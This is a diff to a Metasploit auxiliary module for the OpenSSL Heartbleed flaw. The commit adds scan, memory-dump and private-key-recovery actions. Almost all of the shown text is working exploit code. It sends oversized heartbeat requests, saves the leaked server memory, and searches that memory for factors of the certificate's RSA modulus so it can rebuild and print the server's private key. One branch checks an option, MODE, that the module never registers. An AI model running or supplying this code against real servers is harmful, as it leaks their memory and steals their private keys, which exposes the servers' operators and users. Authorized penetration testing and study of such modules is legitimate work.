parent
71a650fe6e
commit
9f30976b83
|
@ -91,6 +91,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
exists in the handling of heartbeat requests, where a fake length can
|
||||
be used to leak memory data in the response. Services that support
|
||||
STARTTLS may also be vulnerable.
|
||||
|
||||
The module supports several actions, allowing for scanning, dumping of
|
||||
memory contents, and private key recovery.
|
||||
},
|
||||
'Author' => [
|
||||
'Neel Mehta', # Vulnerability discovery
|
||||
|
@ -103,7 +106,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'wvu', # Msf module
|
||||
'juan vazquez', # Msf module
|
||||
'Sebastiano Di Paola', # Msf module
|
||||
'Tom Sellers' # Msf module
|
||||
'Tom Sellers', # Msf module
|
||||
'jjarmoc' #Msf module; keydump, refactoring..
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -116,15 +120,23 @@ class Metasploit3 < Msf::Auxiliary
|
|||
['URL', 'http://filippo.io/Heartbleed/']
|
||||
],
|
||||
'DisclosureDate' => 'Apr 7 2014',
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
['SCAN', {'Description' => 'Check hosts for vulnerability'}],
|
||||
['DUMP', {'Description' => 'Dump memory contents'}],
|
||||
['KEYS', {'Description' => 'Recover private keys from memory'}]
|
||||
],
|
||||
'DefaultAction' => 'SCAN'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP' ]]),
|
||||
OptEnum.new('TLSVERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
|
||||
OptBool.new('STOREDUMP', [true, 'Store leaked memory in a file', false]),
|
||||
OptEnum.new('TLS_CALLBACKS', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP' ]]),
|
||||
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
|
||||
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]),
|
||||
OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]),
|
||||
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil])
|
||||
], self.class)
|
||||
|
||||
|
@ -242,26 +254,61 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run_host(ip)
|
||||
connect
|
||||
|
||||
unless datastore['STARTTLS'] == 'None'
|
||||
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
|
||||
res = self.send(TLS_CALLBACKS[datastore['STARTTLS']])
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - STARTTLS failed...")
|
||||
case action.name
|
||||
when 'SCAN'
|
||||
scan(bleed)
|
||||
when 'DUMP'
|
||||
scan(bleed) # Scan & Dump are similar, scan() records results
|
||||
when 'KEYS'
|
||||
unless datastore['TLS_CALLBACKS'] == 'None'
|
||||
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
|
||||
return
|
||||
end
|
||||
end
|
||||
print_status("#{peer} - Scanning for private keys")
|
||||
count = 0
|
||||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
print_status("#{peer} - Getting public key constants...")
|
||||
n, e = get_ne
|
||||
vprint_status("#{peer} - n: #{n}")
|
||||
vprint_status("#{peer} - e: #{e}")
|
||||
print_status("#{peer} - #{Time.now.getutc} - Starting.")
|
||||
|
||||
server_hello = sock.get
|
||||
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
|
||||
vprint_error("#{peer} - Server Hello Not Found")
|
||||
datastore['MAX_KEYTRIES'].times {
|
||||
# Loop up to MAX_KEYTRIES times, looking for keys
|
||||
if count % datastore['STATUS_EVERY'] == 0
|
||||
print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...")
|
||||
end
|
||||
|
||||
p, q = get_factors(bleed, n) # Try to find factors in mem
|
||||
unless p.nil? || q.nil?
|
||||
key = key_from_pqe(p, q, e)
|
||||
print_good("#{peer} - #{Time.now.getutc} - Got the private key")
|
||||
|
||||
print_status(key.export)
|
||||
path = store_loot(
|
||||
"openssl.heartbleed.server",
|
||||
"text/plain",
|
||||
rhost,
|
||||
key.export,
|
||||
nil,
|
||||
"OpenSSL Heartbleed Private Key"
|
||||
)
|
||||
print_status("#{peer} - Private key stored in #{path}")
|
||||
return
|
||||
end
|
||||
count += 1
|
||||
}
|
||||
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
|
||||
else
|
||||
#Shouldn't get here, since Action is Enum
|
||||
print_error("Unknown Action: #{action.name}")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def bleed()
|
||||
# This actually performs the heartbleed portion
|
||||
establish_connect
|
||||
vprint_status("#{peer} - Sending Heartbeat...")
|
||||
sock.put(heartbeat(heartbeat_length))
|
||||
hdr = sock.get_once(5)
|
||||
|
@ -292,46 +339,51 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
|
||||
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']]
|
||||
vprint_error("#{peer} - Unexpected Heartbeat response")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
|
||||
heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...
|
||||
if heartbeat_data
|
||||
print_good("#{peer} - Heartbeat response with leak")
|
||||
report_vuln({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:name => self.name,
|
||||
:refs => self.references,
|
||||
:info => "Module #{self.fullname} successfully leaked info"
|
||||
})
|
||||
if datastore['STOREDUMP']
|
||||
pattern = datastore['DUMPFILTER']
|
||||
if pattern
|
||||
match_data = heartbeat_data.scan(pattern).join
|
||||
else
|
||||
match_data = heartbeat_data
|
||||
end
|
||||
path = store_loot(
|
||||
"openssl.heartbleed.server",
|
||||
"application/octet-stream",
|
||||
ip,
|
||||
match_data,
|
||||
nil,
|
||||
"OpenSSL Heartbleed server memory"
|
||||
)
|
||||
print_status("#{peer} - Heartbeat data stored in #{path}")
|
||||
end
|
||||
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
|
||||
else
|
||||
vprint_error("#{peer} - Looks like there isn't leaked information...")
|
||||
end
|
||||
heartbeat_data = sock.get(heartbeat_length) # Read the magic length...
|
||||
vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes")
|
||||
disconnect
|
||||
heartbeat_data
|
||||
end
|
||||
|
||||
def scan(heartbeat_data)
|
||||
if heartbeat_data
|
||||
print_good("#{peer} - Heartbeat response with leak")
|
||||
report_vuln({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:name => self.name,
|
||||
:refs => self.references,
|
||||
:info => "Module #{self.fullname} successfully leaked info"
|
||||
})
|
||||
if datastore['MODE'] == 'DUMP' # Check mode, dump if requested.
|
||||
pattern = datastore['DUMPFILTER']
|
||||
if pattern
|
||||
match_data = heartbeat_data.scan(pattern).join
|
||||
else
|
||||
match_data = heartbeat_data
|
||||
end
|
||||
path = store_loot(
|
||||
"openssl.heartbleed.server",
|
||||
"application/octet-stream",
|
||||
rhost,
|
||||
match_data,
|
||||
nil,
|
||||
"OpenSSL Heartbleed server memory"
|
||||
)
|
||||
print_status("#{peer} - Heartbeat data stored in #{path}")
|
||||
end
|
||||
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
|
||||
else
|
||||
vprint_error("#{peer} - Looks like there isn't leaked information...")
|
||||
end
|
||||
end
|
||||
|
||||
def heartbeat(length)
|
||||
payload = "\x01" # Heartbeat Message Type: Request (1)
|
||||
payload << [length].pack("n") # Payload Length: 65535
|
||||
|
@ -344,7 +396,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
time_temp = Time.now
|
||||
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
|
||||
|
||||
hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS
|
||||
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
|
||||
hello_data << [time_epoch].pack("N") # Time in epoch format
|
||||
hello_data << Rex::Text.rand_text(28) # Random
|
||||
hello_data << "\x00" # Session ID length
|
||||
|
@ -368,7 +420,85 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def ssl_record(type, data)
|
||||
record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn')
|
||||
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
|
||||
record << data
|
||||
end
|
||||
|
||||
def get_ne()
|
||||
# Fetch rhost's cert, return public key values
|
||||
connect(true, {"SSL" => true}) #Force SSL
|
||||
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
|
||||
disconnect
|
||||
|
||||
unless cert
|
||||
print_error("#{peer} - No certificate found")
|
||||
return
|
||||
end
|
||||
|
||||
return cert.public_key.params["n"], cert.public_key.params["e"]
|
||||
end
|
||||
|
||||
def get_factors(data, n)
|
||||
# Walk through data looking for factors of n
|
||||
psize = n.num_bits / 8 / 2
|
||||
return if data.nil?
|
||||
|
||||
(0..(data.length-psize)).each{ |x|
|
||||
# Try each offset of suitable length
|
||||
can = OpenSSL::BN.new(data[x,psize].reverse.bytes.inject {|a,b| (a << 8) + b }.to_s)
|
||||
if can > 1 && can % 2 != 0 && can.num_bytes == psize
|
||||
# Only try candidates that have a chance...
|
||||
q, rem = n / can
|
||||
if rem == 0 && can != n
|
||||
vprint_good("#{peer} - Found factor at offset #{x.to_s(16)}")
|
||||
p = can
|
||||
return p, q
|
||||
end
|
||||
end
|
||||
}
|
||||
return nil, nil
|
||||
end
|
||||
|
||||
def establish_connect
|
||||
connect
|
||||
|
||||
unless datastore['TLS_CALLBACKS'] == 'None'
|
||||
vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACKS']}")
|
||||
res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACKS']])
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - STARTTLS failed...")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
|
||||
server_hello = sock.get
|
||||
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
|
||||
vprint_error("#{peer} - Server Hello Not Found")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def key_from_pqe(p, q, e)
|
||||
# Returns an RSA Private Key from Factors
|
||||
key = OpenSSL::PKey::RSA.new()
|
||||
|
||||
key.p = p
|
||||
key.q = q
|
||||
|
||||
key.n = key.p*key.q
|
||||
key.e = e
|
||||
|
||||
phi = (key.p - 1) * (key.q - 1 )
|
||||
key.d = key.e.mod_inverse(phi)
|
||||
|
||||
key.dmp1 = key.d % (key.p - 1)
|
||||
key.dmq1 = key.d % (key.q - 1)
|
||||
key.iqmp = key.q.mod_inverse(key.p)
|
||||
|
||||
return key
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue